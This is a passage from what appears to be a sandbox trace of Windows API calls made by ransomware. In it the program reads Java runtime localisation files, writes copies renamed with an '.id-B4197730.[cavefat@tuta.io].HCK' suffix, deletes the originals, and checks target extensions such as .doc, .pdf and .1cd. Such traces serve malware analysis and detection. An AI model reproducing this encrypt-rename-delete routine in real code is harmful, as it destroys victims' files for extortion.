(lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0226.132] lstrlenW (lpString=".jpg") returned 4 [0226.132] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0226.132] lstrcmpiW (lpString1=".properties", lpString2=".HCK") returned 1 [0226.132] lstrlenW (lpString="messages_ko.properties") returned 22 [0226.132] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0226.132] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=5712) returned 1 [0226.133] CloseHandle (hObject=0x448) returned 1 [0226.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties")) returned 0x20 [0226.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0226.133] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0226.133] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.133] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.133] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0226.134] GetLastError () returned 0x0 [0226.134] ReadFile (in: hFile=0x448, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x1650, lpOverlapped=0x0) returned 1 [0226.135] WriteFile (in: hFile=0x438, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x1660, lpOverlapped=0x0) returned 1 [0226.136] ReadFile (in: hFile=0x448, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0226.136] WriteFile (in: hFile=0x438, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x100, lpOverlapped=0x0) returned 1 [0226.136] SetEndOfFile (hFile=0x438) returned 1 [0226.136] CloseHandle (hObject=0x438) returned 1 [0226.136] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.136] SetEndOfFile (hFile=0x448) returned 1 [0226.138] CloseHandle (hObject=0x448) returned 1 [0226.139] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0226.139] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties")) returned 1 [0226.139] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0226.139] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0226.139] lstrlenW (lpString=".doc") returned 4 [0226.139] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0226.139] lstrlenW (lpString=".docx") returned 5 [0226.139] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0226.140] lstrlenW (lpString=".pdf") returned 4 [0226.140] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0226.140] lstrlenW (lpString=".xls") returned 4 [0226.140] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0226.140] lstrlenW (lpString=".xlsx") returned 5 [0226.140] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0226.140] lstrlenW (lpString=".ppt") returned 4 [0226.140] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0226.140] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0226.140] lstrlenW (lpString=".zip") returned 4 [0226.140] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0226.140] lstrlenW (lpString=".rar") returned 4 [0226.140] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0226.140] lstrlenW (lpString=".bz2") returned 4 [0226.140] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0226.140] lstrlenW (lpString=".7z") returned 3 [0226.140] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0226.140] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0226.140] lstrlenW (lpString=".dbf") returned 4 [0226.140] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0226.140] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0226.140] lstrlenW (lpString=".1cd") returned 4 [0226.140] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0226.140] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0226.140] lstrlenW (lpString=".jpg") returned 4 [0226.140] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0226.140] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0226.140] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0226.140] lstrlenW (lpString=".doc") returned 4 [0226.140] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0226.140] lstrlenW (lpString=".docx") returned 5 [0226.140] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0226.140] lstrlenW (lpString=".pdf") returned 4 [0226.140] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0226.140] lstrlenW (lpString=".xls") returned 4 [0226.140] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0226.140] lstrlenW (lpString=".xlsx") returned 5 [0226.140] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0226.140] lstrlenW (lpString=".ppt") returned 4 [0226.141] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0226.141] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0226.141] lstrlenW (lpString=".zip") returned 4 [0226.141] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0226.141] lstrlenW (lpString=".rar") returned 4 [0226.141] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0226.141] lstrlenW (lpString=".bz2") returned 4 [0226.141] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0226.141] lstrlenW (lpString=".7z") returned 3 [0226.141] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0226.141] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0226.141] lstrlenW (lpString=".dbf") returned 4 [0226.141] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0226.141] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0226.141] lstrlenW (lpString=".1cd") returned 4 [0226.141] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0226.141] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0226.141] lstrlenW (lpString=".jpg") returned 4 [0226.141] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0226.141] lstrcmpiW (lpString1=".properties", lpString2=".HCK") returned 1 [0226.141] lstrlenW (lpString="messages_pt_BR.properties") returned 25 [0226.141] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0226.149] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=3285) returned 1 [0226.149] CloseHandle (hObject=0x448) returned 1 [0226.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties")) returned 0x20 [0226.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0226.149] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0226.149] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.149] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.149] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0226.184] GetLastError () returned 0x0 [0226.184] ReadFile (in: hFile=0x448, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0xcd5, lpOverlapped=0x0) returned 1 [0226.187] WriteFile (in: hFile=0x4a0, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0xce0, lpOverlapped=0x0) returned 1 [0226.188] ReadFile (in: hFile=0x448, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0226.188] WriteFile (in: hFile=0x4a0, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x106, lpOverlapped=0x0) returned 1 [0226.188] SetEndOfFile (hFile=0x4a0) returned 1 [0226.188] CloseHandle (hObject=0x4a0) returned 1 [0226.188] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.188] SetEndOfFile (hFile=0x448) returned 1 [0226.190] CloseHandle (hObject=0x448) returned 1 [0226.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0226.191] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties")) returned 1 [0226.191] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0226.191] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0226.191] lstrlenW (lpString=".doc") returned 4 [0226.191] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0226.191] lstrlenW (lpString=".docx") returned 5 [0226.191] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0226.191] lstrlenW (lpString=".pdf") returned 4 [0226.191] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0226.191] lstrlenW (lpString=".xls") returned 4 [0226.191] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0226.191] lstrlenW (lpString=".xlsx") returned 5 [0226.191] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0226.191] lstrlenW (lpString=".ppt") returned 4 [0226.191] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0226.191] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0226.191] lstrlenW (lpString=".zip") returned 4 [0226.191] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0226.191] lstrlenW (lpString=".rar") returned 4 [0226.191] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0226.192] lstrlenW (lpString=".bz2") returned 4 [0226.192] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0226.192] lstrlenW (lpString=".7z") returned 3 [0226.192] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0226.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0226.192] lstrlenW (lpString=".dbf") returned 4 [0226.192] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0226.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0226.192] lstrlenW (lpString=".1cd") returned 4 [0226.192] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0226.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0226.192] lstrlenW (lpString=".jpg") returned 4 [0226.192] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0226.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0226.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0226.192] lstrlenW (lpString=".doc") returned 4 [0226.192] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0226.192] lstrlenW (lpString=".docx") returned 5 [0226.192] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0226.192] lstrlenW (lpString=".pdf") returned 4 [0226.192] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0226.192] lstrlenW (lpString=".xls") returned 4 [0226.192] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0226.192] lstrlenW (lpString=".xlsx") returned 5 [0226.192] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0226.192] lstrlenW (lpString=".ppt") returned 4 [0226.192] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0226.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0226.192] lstrlenW (lpString=".zip") returned 4 [0226.192] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0226.192] lstrlenW (lpString=".rar") returned 4 [0226.192] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0226.192] lstrlenW (lpString=".bz2") returned 4 [0226.192] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0226.192] lstrlenW (lpString=".7z") returned 3 [0226.192] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0226.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0226.192] lstrlenW (lpString=".dbf") returned 4 [0226.192] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0226.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0226.192] lstrlenW (lpString=".1cd") returned 4 [0226.192] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0226.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0226.192] lstrlenW (lpString=".jpg") returned 4 [0226.192] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0226.192] lstrcmpiW (lpString1=".properties", lpString2=".HCK") returned 1 [0226.192] lstrlenW (lpString="messages_sv.properties") returned 22 [0226.193] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0226.193] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=3409) returned 1 [0226.193] CloseHandle (hObject=0x448) returned 1 [0226.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties")) returned 0x20 [0226.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0226.193] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0226.194] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.194] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.194] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0226.194] GetLastError () returned 0x0 [0226.194] ReadFile (in: hFile=0x448, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0xd51, lpOverlapped=0x0) returned 1 [0226.197] WriteFile (in: hFile=0x4a0, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0xd60, lpOverlapped=0x0) returned 1 [0226.197] ReadFile (in: hFile=0x448, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0226.198] WriteFile (in: hFile=0x4a0, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x100, lpOverlapped=0x0) returned 1 [0226.198] SetEndOfFile (hFile=0x4a0) returned 1 [0226.198] CloseHandle (hObject=0x4a0) returned 1 [0226.198] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.198] SetEndOfFile (hFile=0x448) returned 1 [0226.201] CloseHandle (hObject=0x448) returned 1 [0226.202] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0226.202] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties")) returned 1 [0226.202] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0226.202] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0226.202] lstrlenW (lpString=".doc") returned 4 [0226.202] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0226.202] lstrlenW (lpString=".docx") returned 5 [0226.203] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0226.203] lstrlenW (lpString=".pdf") returned 4 [0226.203] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0226.203] lstrlenW (lpString=".xls") returned 4 [0226.203] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0226.203] lstrlenW (lpString=".xlsx") returned 5 [0226.203] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0226.203] lstrlenW (lpString=".ppt") returned 4 [0226.203] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0226.203] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0226.203] lstrlenW (lpString=".zip") returned 4 [0226.203] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0226.203] lstrlenW (lpString=".rar") returned 4 [0226.203] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0226.203] lstrlenW (lpString=".bz2") returned 4 [0226.203] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0226.203] lstrlenW (lpString=".7z") returned 3 [0226.203] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0226.203] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0226.203] lstrlenW (lpString=".dbf") returned 4 [0226.203] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0226.203] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0226.203] lstrlenW (lpString=".1cd") returned 4 [0226.203] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0226.203] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0226.203] lstrlenW (lpString=".jpg") returned 4 [0226.203] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0226.203] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0226.203] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0226.203] lstrlenW (lpString=".doc") returned 4 [0226.203] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0226.203] lstrlenW (lpString=".docx") returned 5 [0226.203] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0226.203] lstrlenW (lpString=".pdf") returned 4 [0226.203] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0226.203] lstrlenW (lpString=".xls") returned 4 [0226.203] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0226.203] lstrlenW (lpString=".xlsx") returned 5 [0226.203] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0226.203] lstrlenW (lpString=".ppt") returned 4 [0226.203] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0226.203] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0226.203] lstrlenW (lpString=".zip") returned 4 [0226.203] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0226.203] lstrlenW (lpString=".rar") returned 4 [0226.203] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0226.203] lstrlenW (lpString=".bz2") returned 4 [0226.203] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0226.203] lstrlenW (lpString=".7z") returned 3 [0226.203] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0226.203] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0226.204] lstrlenW (lpString=".dbf") returned 4 [0226.204] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0226.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0226.204] lstrlenW (lpString=".1cd") returned 4 [0226.204] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0226.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0226.204] lstrlenW (lpString=".jpg") returned 4 [0226.204] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0226.204] lstrcmpiW (lpString1=".properties", lpString2=".HCK") returned 1 [0226.204] lstrlenW (lpString="messages_zh_CN.properties") returned 25 [0226.204] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0226.204] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=4072) returned 1 [0226.204] CloseHandle (hObject=0x448) returned 1 [0226.204] GetFileAttributesW 